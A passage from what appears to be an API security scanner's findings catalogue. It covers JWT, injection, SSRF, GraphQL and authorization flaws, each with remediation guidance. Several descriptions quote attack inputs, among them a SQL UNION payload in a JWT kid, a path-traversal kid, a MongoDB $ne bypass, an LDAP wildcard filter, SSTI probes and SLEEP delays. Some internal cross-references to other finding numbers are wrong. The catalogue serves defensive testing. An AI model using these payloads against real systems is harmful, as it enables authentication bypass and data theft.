CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH SI-070 — JWT Uses Insecure Algorithm
Description: The API issues or accepts JWTs using an algorithm that provides insufficient security guarantees. This includes weak algorithms such as RS256 with small key sizes, or algorithms deprecated by current IETF guidance. Weak algorithm usage allows an attacker with sufficient compute resources to forge token signatures, enabling authentication bypass and privilege escalation. This finding excludes the 'none' algorithm (SI-077) and RS256-to-HS256 confusion (SI-071) which are covered separately.
Remediation: Use only NIST-approved and IETF-recommended JWT signing algorithms: RS256 or RS512 (RSA-PKCS1v15), ES256 or ES512 (ECDSA), or PS256 or PS512 (RSA-PSS). Ensure RSA keys are at least 2048 bits. Use an allowlist of permitted algorithms in the JWT validation library and reject tokens signed with any other algorithm. Rotate signing keys annually or when compromise is suspected.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-071 — JWT kid Header Path Traversal
Description: The JWT kid (key ID) header parameter is used by the server to locate the signing key on the filesystem, and the server does not sanitize path traversal sequences in the kid value. An attacker can craft a JWT with a kid value like '../../dev/null' to cause the server to use an empty or predictable file as the signing key, then forge a valid JWT signature using that key. If the server uses the kid to construct a filesystem path, path traversal can redirect it to an attacker-controlled key file.
Remediation: Validate the kid header against an allowlist of known key identifiers before using it to locate keys. Never use the kid value directly in filesystem path construction. Store keys in a key management system or in-memory key store rather than on the filesystem. Sanitize all path traversal sequences from kid values before any processing.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-072 — JWT Token Not Invalidated After Logout
Description: Siphon confirmed that a JWT obtained before calling the logout endpoint remains valid and accepted by the API after the logout call completes. The API relies solely on the JWT's expiry (exp) claim for invalidation and does not maintain a server-side revocation list or blocklist. An attacker who obtains a victim's JWT (via XSS, network interception, log leakage, or device theft) can continue using the token until it naturally expires, even after the victim has logged out and changed their password.
Remediation: Implement server-side JWT revocation by maintaining a blocklist of invalidated token JTI (JWT ID) values, or by using a short token lifetime combined with a reference token pattern (opaque tokens that can be instantly revoked). Issue all JWTs with a unique jti claim and store active jti values in a cache (Redis) that is checked on each request. Alternatively, use opaque session tokens instead of JWTs when instant revocation is required.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-073 — CORS — Reflected Origin with Credentials
Description: The API reflects the incoming request's Origin header directly in the Access-Control-Allow-Origin response header and sets Access-Control-Allow-Credentials: true. This effectively grants every domain in the world credentialed cross-origin access to the API. An attacker-controlled page can make credentialed cross-origin requests to the API and read the response, enabling session hijacking, account data exfiltration, and authenticated actions performed on behalf of the victim without their knowledge.
Remediation: Implement an explicit allowlist of trusted origins and only reflect the Origin header in CORS responses when the requesting origin is in the allowlist. Never reflect arbitrary origins when Access-Control-Allow-Credentials is true. Validate the allowlist server-side on every cross-origin request. Regularly audit the CORS allowlist to ensure no untrusted domains have been added.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-074 — Reflected Cross-Site Scripting (XSS)
Description: Siphon confirmed a reflected Cross-Site Scripting (XSS) vulnerability where user-supplied input from an API parameter is reflected in an HTML response without encoding or sanitization. An attacker can craft a malicious URL containing a script payload and trick a user into clicking it, causing the script to execute in the victim's browser in the context of the application origin. This enables session hijacking, credential theft, keylogging, and arbitrary actions performed as the victim.
Remediation: Apply context-appropriate output encoding to all user-supplied data reflected in HTML responses. Use a security-focused templating engine that provides automatic escaping. Implement a strict Content-Security-Policy to mitigate XSS exploitation even if encoding is bypassed. Set the HttpOnly flag on session cookies. Validate and sanitize all input server-side before reflecting it in any response.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
MEDIUM SI-075 — GraphQL Introspection Enabled
Description: The GraphQL API has introspection enabled, allowing unauthenticated or authenticated clients to query the complete API schema including all types, fields, mutations, subscriptions, arguments, and their descriptions. Introspection provides an attacker with a complete blueprint of the API equivalent to reading the source code, significantly lowering the barrier to discovering sensitive operations, hidden mutations, and exploitable fields. In production APIs, introspection should only be available to authenticated developers.
Remediation: Disable GraphQL introspection in production environments. Most frameworks support a simple configuration flag to disable introspection queries. If introspection must be available to developers, restrict it to authenticated requests from trusted IP addresses or developer accounts. Consider using query complexity analysis and depth limiting in addition to disabling introspection.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-076 — GraphQL Batch Query Attack Possible
Description: The GraphQL API accepts batched queries — multiple operations in a single HTTP request submitted as a JSON array. An attacker can use this to bypass rate limiting by packing thousands of operations into a single request, enumerate sensitive data efficiently, or perform brute-force attacks against authentication mutations within a single connection. Since most rate limiting implementations count HTTP requests rather than GraphQL operations, batching multiplies the effective request rate by the batch size.
Remediation: Disable query batching if not required by any legitimate client. If batching is needed, implement a maximum batch size limit (e.g., 10 operations per request). Ensure rate limiting counts individual GraphQL operations within batches rather than HTTP requests. Monitor for unusually large batched requests as an indicator of abuse.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-077 — GraphQL Query Depth Attack
Description: The GraphQL API accepts deeply nested queries without enforcing a maximum query depth limit. An attacker can submit a deeply recursive query that causes the resolver chain to execute exponentially more database queries or CPU work than a shallow query. For example, a query asking for user's friends' friends' friends' posts' comments' authors (10+ levels deep) can result in N^10 database queries. This is a reliable denial-of-service vector available to any client with API access.
Remediation: Implement a maximum query depth limit in the GraphQL execution engine (recommended: 10-15 levels maximum depending on schema). Use a query complexity analysis library to assign cost scores to fields and reject queries exceeding the complexity budget. Apply query timeout limits as an additional safeguard. Use query cost analysis to account for relationship traversal cost.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-078 — SOAP Injection — Parameter Reflected or Error Triggered
Description: Siphon detected that SOAP API parameters reflect injected XML content in the response or trigger parser errors indicative of XML injection. SOAP injection allows an attacker to inject additional XML elements, close existing tags, or inject new SOAP body elements. Successful SOAP injection can bypass authentication, modify business logic, extract data from the SOAP response, or trigger XML processing vulnerabilities (XXE) depending on the XML parser configuration.
Remediation: Validate and sanitize all SOAP parameter values before XML processing. Encode special XML characters (<, >, &, ', ") in user-supplied values. Use parameterized SOAP processing rather than string concatenation to construct SOAP messages. Disable external entity processing (XXE) in the XML parser. Validate incoming SOAP messages against a strict XSD schema.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-079 — SSRF via API Parameter
Description: Siphon confirmed a Server-Side Request Forgery (SSRF) vulnerability where a URL supplied in an API parameter causes the server to make an HTTP request to the specified URL. An attacker can exploit this to reach internal services not accessible from the internet, probe internal network topology, access cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ for AWS credentials), access localhost services, or potentially achieve remote code execution via SSRF chains.
Impact: An attacker coerces the server into making requests to internal-only services and cloud metadata endpoints, exposing internal APIs, admin panels and short-lived cloud IAM credentials, and providing a pivot to reach systems unreachable from the internet — frequently escalating to full cloud-account compromise.
Remediation: Implement server-side URL validation against a strict allowlist of permitted schemes and destination hostnames before making any outbound request. Block requests to private IP ranges, loopback addresses, link-local addresses (169.254.x.x), and cloud metadata endpoints. Use a DNS resolution step to resolve the hostname and verify the resulting IP is not in a blocked range. Implement outbound firewall rules to prevent the application server from reaching internal services. Log all outbound HTTP requests.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
HIGH SI-080 — Business Flow — Workflow Step Directly Accessible
Description: Siphon confirmed that a step in a multi-stage business workflow (e.g., checkout confirmation, order completion, password reset confirmation, OTP verification success) can be accessed directly without completing the preceding steps. The API does not enforce workflow state on the server side, relying instead on the client to follow the correct sequence. An attacker can skip prerequisite steps such as payment verification or identity verification by directly calling the completion endpoint.
Remediation: Implement server-side workflow state management that tracks the current state of each session's progress through multi-step processes. Require prerequisite steps to be completed and validated before allowing access to subsequent steps. Use server-side session tokens to track workflow state rather than trusting client-supplied step indicators. Implement transaction-level validation that verifies all prerequisite conditions are met before committing the final step.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
HIGH SI-081 — Business Flow — Race Condition (Duplicate Operation)
Description: Siphon confirmed a race condition vulnerability where submitting the same API operation multiple times in parallel results in the operation being executed more than once. Examples include: a referral bonus being credited multiple times, a one-time discount being applied to multiple orders, a withdrawal exceeding the account balance when concurrent requests are processed, or a promotional code being redeemed multiple times. The application checks the constraint and performs the action in separate non-atomic operations, creating a TOCTOU (Time-of-Check to Time-of-Use) window.
Remediation: Implement atomic database operations or database-level constraints (unique indexes, SELECT FOR UPDATE, serializable transactions) to prevent duplicate execution. Use distributed locks (Redis, database advisory locks) for operations that must not be executed concurrently for the same resource. Implement idempotency keys for all state-changing API operations. Add application-level duplicate detection based on request signatures or operation IDs.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
HIGH SI-082 — Business Flow — Bulk Endpoint Accepts Unrestricted Batch Size
Description: The API exposes a bulk operation endpoint that accepts an array of items without enforcing a maximum batch size limit. An attacker can submit a single request with tens of thousands of items, causing the server to perform excessive database operations, computation, or outbound calls proportional to the batch size. This can be used for targeted denial-of-service, resource exhaustion attacks, or mass data manipulation in a single authenticated request.
Remediation: Implement a maximum batch size limit on all bulk endpoints (e.g., 100-1000 items per request depending on operation cost). Return 400 Bad Request or 413 Payload Too Large when the limit is exceeded. Implement asynchronous processing for large batches with job-based status tracking rather than synchronous processing. Apply rate limiting at the operation level, not just the HTTP request level.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP API: API4:2023 Unrestricted Resource Consumption
CRITICAL SI-083 — Missing Authentication Enforcement
Description: Siphon confirmed that an API endpoint that should require authentication is accessible without any credentials. The endpoint performs a sensitive operation or returns sensitive data in response to completely unauthenticated requests. This represents a complete authentication bypass where no credentials of any kind are required. An anonymous attacker on the internet can directly invoke the endpoint and access its full functionality without any account or credential.
Remediation: Implement authentication enforcement as a mandatory middleware applied to all non-public API endpoints. Adopt a secure-by-default policy where all new endpoints require authentication unless explicitly marked as public. Conduct a full audit of all API endpoints to verify authentication is enforced. Remove any whitelisted paths from authentication bypass rules that are not genuinely intended to be public.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-084 — BFLA — Admin Endpoint Accessible
Description: Siphon confirmed that an administrative API endpoint is accessible by a non-administrative user or by an unauthenticated attacker. Administrative endpoints typically provide user management (create/delete accounts, change roles), system configuration, data export, secret rotation, or other privileged operations. Access to an admin endpoint without proper authorization can result in complete account takeover of all users, data exfiltration, or full application compromise.
Remediation: Immediately restrict access to all administrative endpoints. Require administrator role authentication for all admin API paths. Implement role-based access control with explicit allow-lists per endpoint. Deploy admin API endpoints on a separate internal hostname or network segment not accessible from the public internet. Audit all admin operations with immutable audit logging.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
CRITICAL SI-085 — BOLA — Broken Object Level Authorization
Description: Siphon confirmed a Broken Object Level Authorization (BOLA) vulnerability, also known as IDOR (Insecure Direct Object Reference). An authenticated user can access or modify resources owned by other users by substituting a different object identifier in the API request. The server returns data for the requested object without verifying that the authenticated user is the owner or has been explicitly granted access to that specific object. This is the most prevalent API vulnerability category and can expose all user data in the system.
Remediation: Implement object-level authorization checks on every endpoint that accesses a specific resource. Verify that the authenticated user ID matches the resource owner or has been explicitly granted access before returning or modifying any data. Derive the target user context from the authenticated session, not from client-supplied parameters. Implement automated authorization tests for every user-scoped API endpoint as part of the CI/CD pipeline.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
CRITICAL SI-086 — Default Credentials Accepted on API Login Endpoint
Description: The API login endpoint accepts default credentials (e.g., admin/admin, admin/password, admin/1234, root/root, test/test, or vendor-specific defaults) and returns a successful authentication response. Default credentials are publicly known and represent the first credential set attempted by automated attackers. Successful login with default credentials provides immediate administrative or user access without any exploitation complexity, effectively bypassing all other security controls.
Remediation: Immediately change all default credentials on all accounts. Force password change on first login for all accounts provisioned with default credentials. Implement a credential policy that prevents setting passwords matching known-default or commonly-used values. Audit all accounts and API keys for default or trivially-guessable credentials. Disable any service accounts with default credentials that are not currently in use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
CRITICAL SI-087 — Type Juggling / JSON Type Confusion Authentication Bypass
Description: Siphon confirmed an authentication bypass via JSON type confusion (type juggling). By submitting a non-string value in the JSON body for the password field (e.g., true (boolean), 0 (integer), null, or []) the authentication logic is bypassed. This occurs in dynamically-typed languages (PHP, JavaScript, Python) where loose comparison operators (==, in PHP: true == 'any string') evaluate to true when comparing certain type mismatches. An attacker can log in as any known username without knowing the password.
Remediation: Use strict type-safe comparison operators in all authentication logic. In PHP, use === instead of ==. In JavaScript/Node.js, validate that the incoming password is of type string before any comparison. Validate request body field types against expected types in the API schema before processing. Reject any authentication request where credentials are not of the expected primitive type.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-088 — JWT None Algorithm Accepted
Description: Siphon confirmed that the API accepts JWTs signed with the 'none' algorithm (alg: none, alg: None, alg: NONE). The 'none' algorithm specifies that no signature is required, meaning an attacker can craft an arbitrary JWT with any claims (any user ID, any role, any expiry) without needing the server's signing key. By setting alg to 'none' and removing the signature, an attacker achieves complete authentication bypass and can impersonate any user including administrators.
Remediation: Implement an explicit algorithm allowlist in the JWT verification configuration and reject all tokens using the 'none' algorithm. Never rely on the algorithm specified in the JWT header to determine how to verify the token — use a server-side configured algorithm. Upgrade JWT libraries to versions that do not accept the 'none' algorithm by default. Audit all JWT validation code paths for algorithm confusion vulnerabilities.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL SI-089 — SQL Injection in API Parameter
Description: Siphon confirmed a SQL injection vulnerability in an API parameter. User-supplied input is incorporated into a SQL query without parameterization or adequate sanitization. An attacker can inject SQL syntax to extract all data from the database, bypass authentication, modify or delete database records, read server files (via LOAD_FILE or xp_cmdshell), execute OS commands (via xp_cmdshell or UDF), or achieve complete database server compromise. SQL injection in APIs is particularly severe because the API may provide direct database access without application-layer filtering.
Remediation: Replace all dynamic SQL query construction with parameterized queries or prepared statements. Use an ORM that automatically parameterizes queries. If dynamic queries are unavoidable, use an allowlist-based escaping function appropriate for the database platform. Apply the principle of least privilege to database accounts: the API's DB user should not have DROP, TRUNCATE, or file access permissions. Implement a WAF rule for SQL injection patterns as defense-in-depth.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-090 — Blind SQL Injection (Boolean-Based)
Description: Siphon confirmed a boolean-based blind SQL injection vulnerability where injecting boolean conditions into an API parameter produces different application responses (different response body, length, or status code) depending on whether the injected condition is true or false. While no data is returned directly, an attacker can exfiltrate the entire database content bit-by-bit by asking true/false questions about the data (e.g., 'is the first character of the admin password greater than M?'). Automated tools like sqlmap can extract the complete database in minutes.
Impact: An attacker can extract arbitrary database contents one character at a time by observing the difference between the application's responses to TRUE and FALSE injected conditions — no database error output or visible data is required. This enables disclosure of credentials, session tokens and other sensitive records, and can be escalated to authentication bypass or, on some database engines, command execution.
Remediation: Replace all dynamic SQL construction with parameterized queries. The remediation is identical to direct SQL injection (SI-089). Blind injection is often harder to detect through manual code review, making comprehensive use of parameterized queries and ORM frameworks critical. Run automated SQL injection scans (sqlmap) against all API endpoints as part of security testing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-091 — Blind SQL Injection (Time-Based)
Description: Siphon confirmed a time-based blind SQL injection vulnerability. Injecting time-delay functions (e.g., SLEEP(5), WAITFOR DELAY, pg_sleep(5)) into an API parameter causes the server response to be delayed by the specified duration, confirming SQL execution. An attacker can exfiltrate the complete database using conditional time delays as an out-of-band data exfiltration channel. Time-based injection is reliable even when the application returns identical responses for true and false conditions, bypassing boolean-based detection.
Impact: An attacker can infer arbitrary database contents by measuring response delays induced by injected time-delay functions (SLEEP / pg_sleep / WAITFOR), requiring neither error output nor visible content differences. This blind exfiltration channel enables disclosure of credentials and sensitive data and, on some engines, can be escalated to file access or command execution; repeated long sleeps also provide a denial-of-service primitive.
Remediation: The remediation is identical to direct SQL injection (SI-089): use parameterized queries exclusively. Additionally, implement query timeout limits at the database level to limit the impact of time-delay attacks. Monitor for anomalously slow API response times as an indicator of time-based injection probing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL SI-092 — NoSQL Injection in API Parameter
Description: Siphon confirmed a NoSQL injection vulnerability. User-supplied input is incorporated into a NoSQL database query (MongoDB, CouchDB, Firebase, Cassandra) without sanitization, allowing injection of query operators. For example, injecting {"$ne": null} in a MongoDB authentication query bypasses login by matching any non-null password. NoSQL injection can enable authentication bypass, data exfiltration, and in some cases server-side JavaScript execution via the $where operator.
Remediation: Validate that all user-supplied query parameters are of the expected primitive type (string, number) before constructing database queries. For MongoDB, use the official driver's parameterization features and reject any input containing MongoDB operator characters ($, .). Use ODM libraries (Mongoose) that enforce schema validation. Disable JavaScript execution operators ($where) in MongoDB if not required. Apply input allowlist validation before any database query construction.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL SI-093 — OS Command Injection in API Parameter
Description: Siphon confirmed OS command injection in an API parameter. User-supplied input is passed directly or with insufficient sanitization to a system shell command (via exec, shell_exec, subprocess, os.system, Runtime.exec, etc.). An attacker can inject shell metacharacters (;, |, &&, backticks, $()) to execute arbitrary operating system commands with the privileges of the web application process. This provides full remote code execution on the server, enabling complete system compromise, data exfiltration, lateral movement, and persistence.
Remediation: Eliminate all use of shell command execution with user-supplied input. Replace shell-based functionality with language-native library calls that do not invoke a shell. If OS command execution is unavoidable, pass arguments as a list (not a string) to prevent shell interpretation, and validate all inputs against a strict allowlist of permitted values. Run the application with the minimum OS privileges necessary. Implement application sandboxing (containers, seccomp) to limit the impact of command injection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL SI-094 — Server-Side Template Injection (SSTI)
Description: Siphon confirmed Server-Side Template Injection (SSTI) in an API endpoint. User-supplied input is embedded directly into a server-side template (Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, ERB) and the template engine evaluates the injected expression. An attacker can exploit SSTI to execute arbitrary code within the template context, which typically provides full remote code execution equivalent to OS command injection. SSTI can be confirmed by injecting arithmetic expressions (e.g., {{7*7}}) and observing the evaluated result (49) in the response.
Remediation: Never concatenate user-supplied data directly into template strings. Pass user data as template variables that are rendered by the template engine safely, not as template code. Use templates that are defined statically in the codebase, not constructed dynamically from user input. If user-controlled templates are a business requirement, use a sandboxed template engine that prevents access to dangerous objects and methods.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH SI-095 — Path Traversal / Local File Inclusion in API
Description: Siphon confirmed a path traversal vulnerability where a filename or path parameter in the API is used to read files from the server filesystem without adequate sanitization. By injecting '../' sequences, an attacker can read files outside the intended directory, including /etc/passwd, /etc/shadow, application configuration files containing database credentials and API keys, private keys, and other sensitive system files. Depending on the application's OS privileges and filesystem permissions, this may provide access to any file readable by the web process.
Remediation: Validate all file path inputs against a strict allowlist of permitted filenames or paths. Use a canonical path resolution function (realpath(), Path.resolve()) to normalize the path and verify it begins with the expected base directory before any file access. Never concatenate user input directly into filesystem paths. Implement OS-level filesystem isolation (chroot, container volumes) to prevent access outside the intended directory.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
HIGH SI-096 — LDAP Injection in API Parameter
Description: Siphon confirmed an LDAP injection vulnerability where user-supplied input is incorporated into an LDAP query without sanitization. An attacker can inject LDAP filter metacharacters (*, (, ), \, null bytes) to modify query logic, bypass authentication, or enumerate LDAP directory contents. For example, injecting '*)(uid=*)' into a username field can match all LDAP entries, bypassing authentication. LDAP injection can expose organizational directory data including user accounts, group memberships, email addresses, and phone numbers.
Remediation: Implement LDAP input validation that escapes all LDAP special characters in user-supplied values. Use framework-provided LDAP query parameterization where available. Validate that usernames conform to an expected format (alphanumeric with allowed characters only) before constructing LDAP queries. Apply the principle of least privilege to the LDAP service account: it should have read-only access to only the attributes required by the application.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL SI-097 — JWT Algorithm Confusion Attack (RS256 to HS256)
Description: Siphon confirmed an algorithm confusion attack where the API normally uses RS256 (asymmetric RSA) but also accepts tokens signed with HS256 (symmetric HMAC). An attacker can obtain the server's public RSA key (which is public by design) and use it as the HMAC secret to sign a forged HS256 token. If the server uses the algorithm from the token header rather than from its configuration to select the verification method, it will verify the forged token using the public RSA key as the HMAC secret, accepting the attacker's fabricated claims.
Remediation: Configure the JWT verification library to use a server-side algorithm allowlist that only permits the expected algorithm (e.g., RS256). Never determine the verification algorithm from the token's header — use the algorithm specified in server-side configuration. Use a JWT library version that explicitly defends against algorithm confusion attacks. Test JWT verification with forged HS256 tokens signed with the public key to confirm the fix.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-098 — JWT — jku/x5u Header Injection (JWKS Spoofing)
Description: Siphon confirmed that the API fetches the JWT verification key from the URL specified in the jku (JWK Set URL) or x5u (X.509 Certificate Chain URL) header parameter without validating it against an allowlist. An attacker can craft a JWT with a jku pointing to an attacker-controlled server hosting a JWKS with the attacker's own public key, then sign the JWT with the corresponding private key. The server fetches the attacker's JWKS and verifies the signature successfully, accepting forged tokens with arbitrary claims.
Remediation: Implement strict allowlist validation of the jku and x5u header values before fetching any key material. Only accept jku values matching pre-configured trusted URLs. Prefer a static, server-side configured verification key over dynamic key fetching. If JWKS rotation is required, implement it through a server-side key rotation mechanism rather than accepting jku from tokens. Reject any token whose jku does not match the configured JWKS endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-099 — JWT — kid Header SQL Injection
Description: Siphon confirmed that the JWT kid (key ID) header value is incorporated into a SQL query without parameterization when looking up the verification key. An attacker can inject SQL syntax into the kid header to manipulate the key lookup query. A common payload is "' UNION SELECT 'attacker_secret' --" which causes the server to use 'attacker_secret' as the verification key. The attacker then signs a forged JWT with 'attacker_secret', which the server accepts, enabling complete authentication bypass with arbitrary claims.
Remediation: Use parameterized queries for all database operations involving JWT header values. Validate the kid header value against an allowlist of known key identifier formats before any database lookup. Sanitize kid values by allowing only alphanumeric characters and hyphens. Consider using an in-memory key store rather than database-backed key lookup to eliminate the SQL injection vector entirely.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
CRITICAL SI-100 — JWT HMAC Secret Cracked
Description: Siphon successfully cracked the HMAC signing secret used by the API to sign JWTs using offline dictionary or brute-force attack (via hashcat or jwt-cracker). A weak or commonly-used HMAC secret can be recovered by testing the signature against wordlists. With the known secret, an attacker can forge arbitrary JWTs with any claims including elevated roles, extended expiry, or a different subject (user ID), achieving complete authentication bypass and privilege escalation to any account.
Remediation: Immediately rotate the JWT signing secret. Generate a new HMAC secret using a cryptographically secure random number generator with at least 256 bits of entropy. Store the secret in a secrets management system (HashiCorp Vault, AWS Secrets Manager). Consider migrating to asymmetric signing (RS256, ES256) where the private signing key is never shared and cannot be recovered from the token alone. Invalidate all existing tokens by changing the secret.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-101 — GraphQL Introspection Enabled (Production)
Description: The GraphQL API has introspection enabled in what appears to be a production environment (based on the target scope or deployment indicators). Introspection allows any client to enumerate the complete API schema including all types, fields, mutations, subscriptions, argument names and types, and field deprecation status. This provides an attacker with a complete and accurate map of the entire API surface without any prior knowledge, enabling systematic testing of every field and mutation for vulnerabilities.
Remediation: Disable GraphQL introspection in production. Configure the GraphQL server to reject __schema and __type queries in non-development environments. Use environment variables to control introspection availability. If schema access is needed by internal tooling, restrict it via authentication and IP allowlist rather than leaving it publicly accessible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-102 — WS-Addressing ReplyTo/FaultTo Header Accepted (SSRF Risk)
